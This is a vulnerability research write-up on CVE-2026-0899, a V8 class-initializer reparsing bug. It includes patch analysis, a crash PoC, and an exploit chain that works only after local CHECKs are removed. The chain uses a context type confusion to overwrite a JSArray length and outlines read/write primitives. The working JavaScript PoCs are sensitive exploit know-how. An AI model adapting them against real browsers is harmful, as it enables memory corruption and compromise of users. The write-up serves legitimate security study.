TL;DR

In January 2026, the Chrome Releases blog announced several security fixes across different Chrome components. One entry caught our attention: CVE-2026-0899, an Out-of-Bounds memory access in V8 discovered by @p1nky4745.

Vulnerabilities in V8, especially OOB and Type Confusions are always interesting from a security research perspective. We decided to take a closer look. At the time of writing, the issue was still restricted and no public proof-of-concept was available. After reverse engineering the patch fix, we identified the root cause of the vulnerability and developed a trigger PoC.

Triggering the bug alone was not enough; we wanted to see how far it could go. During our exploitation attempts, we encountered a stubborn CHECK standing directly in our path. We were equally stubborn, so we removed the CHECK and tried again. This time, the vulnerability became exploitable, eventually yielding arbitrary read/write primitives.

This post documents our journey reproducing, analyzing, and exploiting CVE-2026-0899, under the guidance of Nguyễn Hoàng Thạch (@hi_im_d4rkn3ss).

Introduction

CVE CVE-2026-0899
Impact High
Affected Products V8 JS Engine within Google Chrome and other products
Bug IDs crbug-458914193
Patch https://chromium-review.googlesource.com/c/v8/v8/+/7203465

We first came across CVE-2026-0899 in the January 2026 Chrome Releases blog, where it was described as an Out-of-Bounds memory access in V8. The bug was reported by @p1nky4745, who also mentioned discovering it with a custom fuzzer.

A quick look at the patch revealed that the vulnerability lived in V8’s class member initializer reparsing logic. At the time of writing, however, there was no public proof-of-concept available, and the corresponding Chromium issue remained restricted.

This made the bug even more interesting. With only the patch to work from, we set out to reverse-engineer the fix, understand the root cause, and craft our own trigger PoC.

Reversing the Patch

The patch is available here. Let’s examine the different changes that were made. The patch introduces two new FunctionKind variants to encode ordering:

  • kClassMembersInitializerFunctionPrecededByStatic
  • kClassStaticInitializerFunctionPrecededByMember

It also adds helpers IsClassInstanceInitializerFunction and IsClassStaticInitializerFunction, and broadens IsClassInitializerFunction to cover all four kinds. [1][2]

inline bool IsClassInstanceInitializerFunction(FunctionKind kind) {
  return base::IsInRange(
      kind, FunctionKind::kClassMembersInitializerFunction,
      FunctionKind::kClassMembersInitializerFunctionPrecededByStatic); // [1]
}

inline bool IsClassStaticInitializerFunction(FunctionKind kind) {
  return base::IsInRange(
      kind, FunctionKind::kClassStaticInitializerFunction,
      FunctionKind::kClassStaticInitializerFunctionPrecededByMember); // [2]

In parser-base.h, EnsureStaticElementsScope and EnsureInstanceMembersScope now choose the appropriate FunctionKind based on whether the other type already exists, thereby recording ordering in the scope’s kind. [3] [4]

DeclarationScope* EnsureStaticElementsScope(ParserBase* parser, int beg_pos,
                                                int info_id) {
      if (!has_static_elements()) {
        FunctionKind kind =
            has_instance_members()
                ? FunctionKind::kClassStaticInitializerFunctionPrecededByMember // [3]
                : FunctionKind::kClassStaticInitializerFunction;
        static_elements_scope = parser->NewFunctionScope(kind);
        static_elements_scope->SetLanguageMode(LanguageMode::kStrict);
        static_elements_scope->set_start_position(beg_pos);
        static_elements_function_id = info_id;
        // Actually consume the id. The id that was passed in might be an
        // earlier id in case of computed property names.
        parser->GetNextInfoId();
      }
      return static_elements_scope;
    }

    DeclarationScope* EnsureInstanceMembersScope(ParserBase* parser,
                                                 int beg_pos, int info_id) {
      if (!has_instance_members()) {
        FunctionKind kind =
            has_static_elements()
                ? FunctionKind::kClassMembersInitializerFunctionPrecededByStatic // [4]
                : FunctionKind::kClassMembersInitializerFunction;
        instance_members_scope = parser->NewFunctionScope(kind);
        instance_members_scope->SetLanguageMode(LanguageMode::kStrict);

Crucially, ParseClassForMemberInitialization now pre-allocates the “other” scope when the initializer kind indicates it was preceded by the other type, ensuring the correct ID is reserved before parsing proceeds. Additionally, ResetInfoId was updated to accept an initial value, simplifying ID management. [5]

    if (initializer_kind ==
        FunctionKind::kClassMembersInitializerFunctionPrecededByStatic) {
      class_info.EnsureStaticElementsScope(this, kNoSourcePosition, -1); // [5]
    } else if (initializer_kind ==
               FunctionKind::kClassStaticInitializerFunctionPrecededByMember) {
      class_info.EnsureInstanceMembersScope(this, kNoSourcePosition, -1);
    }

What does all this mean? This V8 patch fixes a parsing issue with JavaScript classes that have both instance fields and static blocks mixed together. When V8 lazily compiles class initializers, it needs to maintain the correct order of function literal IDs. When instance and static initializers are interleaved, reparsing one initializer could disrupt the ID ordering.

The patch adds two new FunctionKind variants in the parser to encode this ordering information, along with helper functions to identify them. It now uses these variants when creating scopes, choosing the appropriate kind based on whether the other initializer type already exists. Most importantly, when reparsing a specific initializer, V8 now pre-allocates the scope for any preceding initializer type to preserve the correct ID sequence. To understand the vulnerability better, let’s examine how the bug manifests in the older code with some examples.

Understanding Class Member Reparsing

V8 basically synthesizes two functions per class: an instance members initializer and a static elements initializer. During initial parsing, sequential function_literal_id values are assigned to track these synthetic functions. When lazy compilation later reparses one initializer, it must restore the exact ID-to-scope mapping. The parser’s ParseFunction detects class initializer functions via IsClassInitializerFunction and dispatches to ParseClassForMemberInitialization for special handling because the initializer’s source range corresponds to the entire class body.

// src/parsing/parser.cc

if (V8_UNLIKELY(IsClassInitializerFunction(function_kind))) {
    // Reparsing of class member initializer functions has to be handled
    // specially because they require reparsing of the whole class body,
    // function start/end positions correspond to the class literal body
    // positions.
    result = ParseClassForMemberInitialization(
        function_kind, start_position, function_literal_id, end_position,
        info->function_name());
  ...

Before the patch, FunctionKind only had kClassMembersInitializerFunction and kClassStaticInitializerFunction, which did not encode whether the other initializer type appeared earlier in source order (basically it didn’t distinguish between field orderings). Consequently, IsClassMembersInitializerFunction treated both orderings identically.

// src/objects/function-kind.h

inline bool IsClassInitializerFunction(FunctionKind kind) {
  return base::IsInRange(
      kind, FunctionKind::kClassMembersInitializerFunction,
      FunctionKind::kClassStaticInitializerFunctionPrecededByMember);
}

inline bool IsClassInstanceInitializerFunction(FunctionKind kind) {
  return base::IsInRange(
      kind, FunctionKind::kClassMembersInitializerFunction,
      FunctionKind::kClassMembersInitializerFunctionPrecededByStatic);
}

inline bool IsClassStaticInitializerFunction(FunctionKind kind) {
  return base::IsInRange(
      kind, FunctionKind::kClassStaticInitializerFunction,
      FunctionKind::kClassStaticInitializerFunctionPrecededByMember);
}

During reparsing of, say, the instance initializer (ID-1), if a static block lexically precedes some instance field, the parser would Allocate the static scope with the next available ID (ID-2). Later, upon encountering an instance field, it would lazily allocate a new instance scope with the next ID (ID-3), because the instance scope for ID-1 had not been pre-allocated. This caused the instance initializer to be associated with ID-3 instead of ID-1, breaking the ID-to-function mapping (ID-mismatch). When V8 later looked up a function literal by the original ID-1 (thinking it’s the instance initializer), it accessed an incorrect or out-of-bounds slot, leading to OOB Access.

Let’s look at this using an example. Consider the PoC class:

class BugTrigger {  
  static { this.f1 = () => 1; this.f2 = () => 2; }  // Static block  
  l1 = () => 3;                                     // Instance field  
  l2 = () => 4;                                     // Instance field  
  static { this.f3 = () => 5; }                     // Static block  
  l3 = () => 6;                                     // Instance field  
}

During initial parse, V8 assigns:

  • Instance members initializer: ID-1
  • Static elements initializer: ID-2

When reparsing the instance initializer (ID-1), the parser must ensure the static scope (ID-2) is pre-allocated if it lexically precedes instance fields. The pre-patch code failed to do this.

When the instance initializer (ID-1) undergoes reparsing, parser first processes the first static {} block. It allocates static scope with the next available ID (ID-2), which is correct. Parser continues and encounters l1, l2 instance fields. Since no instance scope exists yet, it lazily allocates one with ID-3. This creates a mismatch as we discussed earlier since the instance scope should have ID-1, not 3. So if V8 incorrectly creates a new instance initializer in slot 3, and then it later tries to access slot 1, it’s actually reading whatever happens to be at that memory location, which could be anything, leading to out-of-bounds access.

Triggering the Effects of Interleaving

With the root cause understood, we started writing a trigger PoC. We checked out the vulnerable version and built V8 using the default configs.

For the PoC, we basically define a class with interleaved static blocks and instance fields containing lambdas, which create additional function literal IDs. We then get the initializer function via the runtime %GetInitializerFunction, flush its bytecode with %ForceFlush to force lazy recompilation, and finally construct a new instance. This sequence causes V8 to reparse one of the initializers lazily. Because the class has intertwined static/instance members, the reparsing logic misallocates IDs as described earlier, leading to an OOB access during function literal lookup resulting in a crash.

This is PoC we came up with:

// PoC for CVE-2026-0899
// V8 Out-of-Bounds Memory Access in Class Member Initializer Reparsing
//
// Tested on: V8 pre-patch (commit:5fe2cfe7e423b378d71ee096910458289d0873d6)
// Command: ./out/x64.debug/d8 --allow-natives-syntax --trace-flush-code poc.js
//
// Crash output (expected):
// # Fatal error in ../../src/objects/script.cc, line 37
// # Check failed: result->StartPosition() == function_literal->start_position()
//

class BugTrigger {
    // Static blocks with lambdas - creating function literal IDs
    static {
        this.f = () => 1;
    }

    // Instance fields with lambdas
    l = () => 3;

    // More static
    static {
        this.f2 = () => 5;
    }

    // More instance
    l2 = () => 6;
}

// Initial parse and execution
let b = new BugTrigger();
print("Initial run - Lambdas:", b.l(), b.l2());
print("Static funcs:", BugTrigger.f(), BugTrigger.f2());

// Using Runtime Functions
// Trigger lazy recompilation by flushing bytecode (only for initializer function of the Class)
let init = %GetInitializerFunction(BugTrigger);
%ForceFlush(init);

// Create new instance - triggers reparsing with ID mismatch -> CRASH
let b2 = new BugTrigger();
print("After flush:", b2.l(), b2.l2());

Running this on the debug version, we get a crash which looks like this.

Initial run - Lambdas: 3 6
Static funcs: 1 5

#
# Fatal error in ../../src/objects/script.cc, line 37
# Check failed: result->StartPosition() == function_literal->start_position() (1419 vs. 1700).
#
#
#
#FailureMessage Object: 0x7ffee78185a8
==== C stack trace ===============================
...
... # Omitted Call trace
...
Trace/breakpoint trap

Can we Checkmate without a CHECK?

There is a nasty roadblock we need to cross before we even get to the exploitation part. The crash results in a CHECK failure which is also present in the release version, so V8 catches the ID mismatch immediately and crashes out, thereby cutting off the exploit process.

Since we were too stubborn to give up (and we wanted to see how V8 would react if the CHECK was, let’s say, missing), we attempted to comment out the CHECK statements to see if we could silently trigger the bug without the crash. For this, we commented out these 3 lines:

# src/objects/script.cc
template <typename IsolateT>
MaybeHandle<SharedFunctionInfo> Script::FindSharedFunctionInfo(
    DirectHandle<Script> script, IsolateT* isolate,
    FunctionLiteral* function_literal) {
  ...
  ...
  Handle<SharedFunctionInfo> result(Cast<SharedFunctionInfo>(heap_object),
                                    isolate);
  CHECK(Is<SharedFunctionInfo>(*result));
- CHECK_EQ(result->StartPosition(), function_literal->start_position());
- CHECK_EQ(result->EndPosition(), function_literal->end_position());
- CHECK_EQ(result->function_literal_id(kRelaxedLoad),
-           function_literal->function_literal_id());
  function_literal->set_shared_function_info(result);
  return result;
}

After applying this patch, we rebuilt V8 and tested the same PoC. This time we get a TypeError:

CVEs/CVE-2026-0899/poc.js:67: TypeError: Class constructor BugTrigger cannot be invoked without 'new'
print("After flush:", b2.l(), b2.l2());
                                 ^
TypeError: Class constructor BugTrigger cannot be invoked without 'new'

This TypeError is via ConstructorNonCallableError:

# src/runtime/runtime-classes.cc
RUNTIME_FUNCTION(Runtime_ThrowConstructorNonCallableError) {
  ...
  ...
  if (name->length() == 0) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate, NewError(realm_type_error_function,
                          MessageTemplate::kAnonymousConstructorNonCallable));
  }
- THROW_NEW_ERROR_RETURN_FAILURE(
-     isolate, NewError(realm_type_error_function,
-                       MessageTemplate::kConstructorNonCallable, name));

+ return ReadOnlyRoots(isolate).undefined_value(); 
}

That’s still not good for us since we still get an error. I tried to patch the Runtime_ThrowConstructorNonCallableError function to disable this error (see above diff) to see if it silently triggers the mismatch. But, this only resulted in more weird behaviors and errors. I tried tweaking the PoC to see if I can hit the big with a different code path which doesn’t result in the CHECK or the TypeError situation, but in vain. At this point, I asked my mentor for help, who gave me a clever (and cool!) idea to bypass the TypeError check (the CHECK hit still had to be patched). Let’s break it down by first looking why does the TypeError occur.

The original PoC:

class BugTrigger { 
    static { 
        this.f = () => 1; 
    } 
    l = () => 3; 
    static { 
        this.f2 = () => 5; 
    } 
    l2 = () => 6; 
} 
let b = new BugTrigger(); 
print("Initial run - Lambdas:", b.l(), b.l2()); 
print("Static funcs:", BugTrigger.f(), BugTrigger.f2()); 
let init = %GetInitializerFunction(BugTrigger); 
%ForceFlush(init); 
let b2 = new BugTrigger();

%DebugPrint(b2);
print("After flush:", b2.l(), b2.l2());

Output:

DebugPrint: 0x38c80104b11d: [JS_OBJECT_TYPE]
 - map: 0x38c80101e439 <Map[52](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x38c80104ade1 <BugTrigger map = 0x38c80101e269>
 - elements: 0x38c8000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x38c8000007bd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x38c80000357d: [String] in ReadOnlySpace: #l: 0x38c80104b151 <JSFunction l (sfi = 0x38c80101e11d)> (const data field 0, attrs: [WEC]) @ Any, location: in-object
    0x38c80101dd69: [String] in OldSpace: #l2: 0x38c80104b16d <JSFunction BugTrigger (sfi = 0x38c80101df39)> (const data field 1, attrs: [WEC]) @ Any, location: in-object 
    # [6]
 }

As we see, triggering the bug results in an off-by-one mismatch in the l2 function literal ID. In the above PoC, the next literal ID is the BugTrigger function, so the b2.l2 returns BugTrigger instead of l2 function [6]. This PoC hits the TypeError: Class constructor BugTrigger cannot be invoked without 'new' because the BugTrigger is kind DefaultBaseConstructor which must be call with new. This is the result of the mismatch as we had seen earlier. So, instead of duplicating it to a construct function, what if we duplicate it to a normal function?

The modified PoC:

class BugTrigger { 
    static { 
        this.f = () => 1; 
    } 
    l = () => 3; 
    static { 
        this.f2 = () => 5; 
    } 
    l2 = () => 6;
    l3 = () => 5;
} 
let b = new BugTrigger(); 
print("Initial run - Lambdas:", b.l2()); 
let init = %GetInitializerFunction(BugTrigger); 
%ForceFlush(init); 
let b2 = new BugTrigger();

%DebugPrint(b2);
print("After flush:", b2.l2());

Output:

Initial run - Lambdas: 6
DebugPrint: 0x6690104af89: [JS_OBJECT_TYPE]
 - map: 0x06690102d329 <Map[56](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x06690104abf1 <BugTrigger map = 0x6690102d121>
 - elements: 0x0669000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0669000007bd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x6690000357d: [String] in ReadOnlySpace: #l: 0x06690104afc1 <JSFunction l (sfi = 0x6690102cfa1)> (const data field 0, attrs: [WEC]) @ Any, location: in-object
    0x6690102cbe1: [String] in OldSpace: #l2: 0x06690104afdd <JSFunction l3 (sfi = 0x6690102d001)> (const data field 1, attrs: [WEC]) @ Any, location: in-object 
    # [7] 
    0x6690102cbf1: [String] in OldSpace: #l3: 0x06690104aff9 <JSFunction BugTrigger (sfi = 0x6690102cdc1)> (const data field 2, attrs: [WEC]) @ Any, location: in-object
 }
0x6690102d329: [Map] in OldSpace
 - map: 0x06690101383d <MetaMap (0x06690101388d <NativeContext[302]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 56
 - inobject properties: 11
 - unused property fields: 8
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x06690102d301 <Map[56](HOLEY_ELEMENTS)>
 - prototype_validity_cell: 0x066900000ac9 <Cell value= [cleared]>
 - instance descriptors (own) #3: 0x06690104af21 <DescriptorArray[3]>
 - prototype: 0x06690104abf1 <BugTrigger map = 0x6690102d121>
 - constructor: 0x06690104abd1 <JSFunction BugTrigger (sfi = 0x6690102cdc1)>
 - dependent code: 0x0669000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 6

After flush: 5

Here, by declaring l3 function after l2, b2.l2 will now return l3 instead of BugTrigger, with same kind of function [7], thus getting rid of the TypeError. In the above PoC, we also need to ensure that l3 must have same number of arguments. If they are different, it would trigger abort: Signature mismatch during JS function call. Basically, this abort can happen due to the mismatch in the number of arguments between SharedFunctionInfo and dispatch_handle information. Since the vulnerability causes literal ID mismatch, this leads to out-of-bounds access when fetching the SharedFunctionInfo, so the result malformed function l3 returned by b2.l2 only has the l3’s SharedFunctionInfo, whereas the other fields still belong to l2. At this point, we managed to trigger the mismatch without a error! But, can we turn this function mismatch into a stronger primitive?

Since we’re dealing with JSFunctions, Here is it’s definition for reference:

extern class JSFunction extends JSFunctionOrBoundFunctionOrWrappedFunction {
  dispatch_handle: int32;                     // [8]
  @if(TAGGED_SIZE_8_BYTES) padding: int32;
  shared_function_info: SharedFunctionInfo;
  context: Context;                           // [9]
  feedback_cell: FeedbackCell;                // [10]
  // Space for the following field may or may not be allocated.
  prototype_or_initial_map: JSReceiver|Map|TheHole;
}

Since now the mismatch is between two functions, we can try abusing the mismatch between the new SharedFunctionInfo information and other fields of the older function. The dispatch_handle [8] is not useful because it is checked when the function is called which will trigger abort error. We dont want that. Also, when a new JSFunction is created, the feedback_cell [10] is just an empty object, so it’s not useful to us.

The context field however can be abused to get a stronger primitive in this case. Specifically, we’ll see how the mismatch between context objects can be used to obtain OOB access on a JsArray.

Here’s the modified PoC:

class BugTrigger {
    static {
        this.s0 = () => 1; 
    }
    a = [1.1];
    i0 = () => 3;
    static { 
        this.s1 = () => 5; 
    }
    i2 = (flag) => {
        this.a; // force `i2` using `FunctionContext` instead of `BlockContext`
    }
    static { // s2's block execution context
        var a0 = 1; // context slot variable
        var a1 = 1;
        var a2 = 1;
        var a3 = 1;
        var a4 = 1;
        var a5 = 1;
        var a6 = 1;
        var a7 = 1;
        var a8 = 1;
        this.s2 = (flag) => {
            if (flag == 0) {
                a0 + a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8; // <-- must access all 9 context slot variables to store them in `BlockContext` object
            } else if (flag == 1) {
                a8 = 1000; // [11] <-- overwrite array `a.length` by 1000
            }
        }; 
    }
    
}
function f() {}
let b = new BugTrigger();
let init = %GetInitializerFunction(BugTrigger); 
%ForceFlush(init); 
let b2 = new BugTrigger(); 
%DebugPrint(b2); 

%DebugPrint(b2.i2);
%DebugPrint(b2.a);
%DebugPrint(BugTrigger.s2); // [12]

// b2.i2(1); // [13]

%PrepareFunctionForOptimization(b2.i2);
b2.i2(2); // [14] optimize with `flag` = 2 to prevent crash
%OptimizeFunctionOnNextCall(b2.i2);
b2.i2(2);

b2.i2(1); // [15] call optimized code with `flag` = 1 -> trigger deopt
          // ->  bail out to `BaselineCompiler` handler
%DebugPrint(b2.a); // [16]

Here, we are basically creating a context type confusion between FunctionContext and BlockContext. Let’s understand it thoroughly.

Each JSFunction has different execution context, and the data stored in it can be accessed by using the StaContextSlot/LdaContextSlot bytecode. Out of these contexts, the FunctionContext and BlockContext serve distinct purposes for managing lexical scopes. FunctionContext is created specifically for function execution environments, providing storage for function-local variables and maintaining the function’s lexical scope chain. When a function is invoked, V8 allocates a FunctionContext to hold variables declared within that function, including parameters, local variables, and the function’s closure information.

BlockContext, by contrast, is used for block-level scopes introduced by constructs like let and const declarations within blocks, try-catch statements, or other block-scoped constructs. The key distinction is that FunctionContext represents the entire function’s execution environment, while BlockContext represents nested lexical scopes within a function. This hierarchy is maintained through the previous field in each context, creating a chain from innermost block contexts out to the function context and eventually to the global context.

In the BugTrigger class, the static initialization block creates a BlockContext with 11 slots to hold variables a0 through a8, while the instance method i2 uses a FunctionContext with only 3 slots. Due to the mismatch bug, both functions share the same SharedFunctionInfo but are associated with different context objects during creation. This can be clearly seen in the DebugPrint where the b2.i2 returns function with s2’s SharedFunctionInfo [12]:

DebugPrint: 0x2ea001080545: [Function]  # <-- `b2.i2`
 - map: 0x2ea001004d9d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ea001004f91 <JSFunction (sfi = 0x2ea001001a75)>
 - elements: 0x2ea0000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x2ea00101e2f1 <SharedFunctionInfo s2>
 - name: 0x2ea000000049 <String[0]: #>
 - builtin: CompileLazy
 - formal_parameter_count: 2
 - kind: ArrowFunction
 - context: 0x2ea0010804f5 <FunctionContext[3]>
 - code: 0x2ea0001b5181 <Code BUILTIN CompileLazy>


DebugPrint: 0x2ea00101fcf1: [Function] in OldSpace  #  <-- `BugTrigger.s2`
 - map: 0x2ea001004d9d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ea001004f91 <JSFunction (sfi = 0x2ea001001a75)>
 - elements: 0x2ea0000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x2ea00101e2f1 <SharedFunctionInfo s2>
 - name: 0x2ea000000049 <String[0]: #>
 - builtin: CompileLazy
 - formal_parameter_count: 2
 - kind: ArrowFunction
 - context: 0x2ea001080281 <BlockContext[11]>
 - code: 0x2ea0001b5181 <Code BUILTIN CompileLazy>

When b2.i2 is called, it incorrectly uses the FunctionContext[3] instead of the expected BlockContext[11]. This context type confusion is what we will use to achieve OOB access on a JSArray. The FunctionContext is significantly smaller than the BlockContext, so when the function tries to access context slot a8 (which would be valid in the BlockContext), it instead accesses memory beyond the bounds of the FunctionContext.

In this case, the b2.a array is allocated immediately after the FunctionContext[3] in memory. When the function executes a8 = 1000, it doesn’t actually modify the intended variable but instead overwrites the length field of the b2.a array, setting it to 1000 [11]. This creates a corrupted array with a large length, which can used for further exploitation.

Although there’s a catch. We cannot directly use b2.i2(1); to trigger the OOB write [13] since it will trigger an unreachable error. This is because, the StaContextSlot’s IGNITION handler performs a bounds check when access to Context’s element array is done. It does this via the StoreContextElement call within its implementation.

// src/interpreter/interpreter-generator.cc
IGNITION_HANDLER(StaContextSlot, InterpreterAssembler) {  
  TNode<Object> value = GetAccumulator();  
  TNode<Context> context = CAST(LoadRegisterAtOperandIndex(0));  
  TNode<IntPtrT> slot_index = Signed(BytecodeOperandContextSlot(1));  
  TNode<Uint32T> depth = BytecodeOperandUImm(2);  
  TNode<Context> slot_context = GetContextAtDepth(context, depth);  
  StoreContextElement(slot_context, slot_index, value);  
  Dispatch();  
}

The bounds checking occurs in the StoreContextElement(slot_context, slot_index, value) call, which is responsible for safely storing the value to the context slot while ensuring the slot index is within valid bounds for the context’s element array.

We need to get rid of this bounds check. One way is to compile the b2.i2 function by Maglev with b2.i2(2) first [14], and then calling the i2 again with b2.i2(1) to trigger a deoptimization to BaselineCompiler handler [15]. The StaContextSlot’s Baseline handler does not perform bounds check, hence we can overwrite the array’s length freely. As a result we have a JSArray with a single element, but with a large length which can be used for OOB Read/Write [16].

DebugPrint: 0x2ea001080519: [JSArray]
 - map: 0x2ea00100ce35 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2ea00100c799 <JSArray[0]>
 - elements: 0x2ea001080509 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 100
 - properties: 0x2ea0000007bd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2ea000000df1: [String] in ReadOnlySpace: #length: 0x2ea0001a68e9 <AccessorInfo name= 0x2ea000000df1 <String[6]: #length>, data= 0x2ea000000011 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2ea001080509 <FixedDoubleArray[1]> {
           0: 1.1 (0x3ff199999999999a)
 }

We got OOB on a JSArray!

Now that this is achieved, the rest of the exploit is straightforward. We use this OOB access to locate and corrupt fields of adjacent Float and Object Arrays in memory so as to read and write data from them. This results in creation of the addrof (Address of any JSObject), AAR (Arbitrary Address Read) and AAW (Aribitrary Address Write). Finally, we test the Arbitrary Read/Write capabilties by mutating a JS String in memory (which by spec is not allowed). On executing the exploit in the release version, we get this output:

Using the arbitrary read/write we can expand it to implement a V8 Sandbox Bypass or implement code to execute code in the unsandboxed build of V8.

Conclusion

CVE-2026-0899 is an out-of-bounds access in V8’s parser during lazy recompilation of class member initializers when static blocks and instance fields are interleaved. A function literal ID mismatch caused by the parser’s failure to pre-allocate the “other” initializer scope when reparsing one initializer, lead to incorrect ID assignment and subsequent OOB reads. The fix adds new variants to encode ordering and to pre-allocate the preceding scope before reparsing.

This bug is exploitable by manually disabling the CHECK hit, and then creating a context type confusion between a FunctionContext and a BlockContext and using it to write out of bounds to corrupt a JSArray’s length field to get a corrupted array with a large length. This can be further used to achieve read/write primitives within the V8 sandbox. Pretty cool Checkmate, I guess!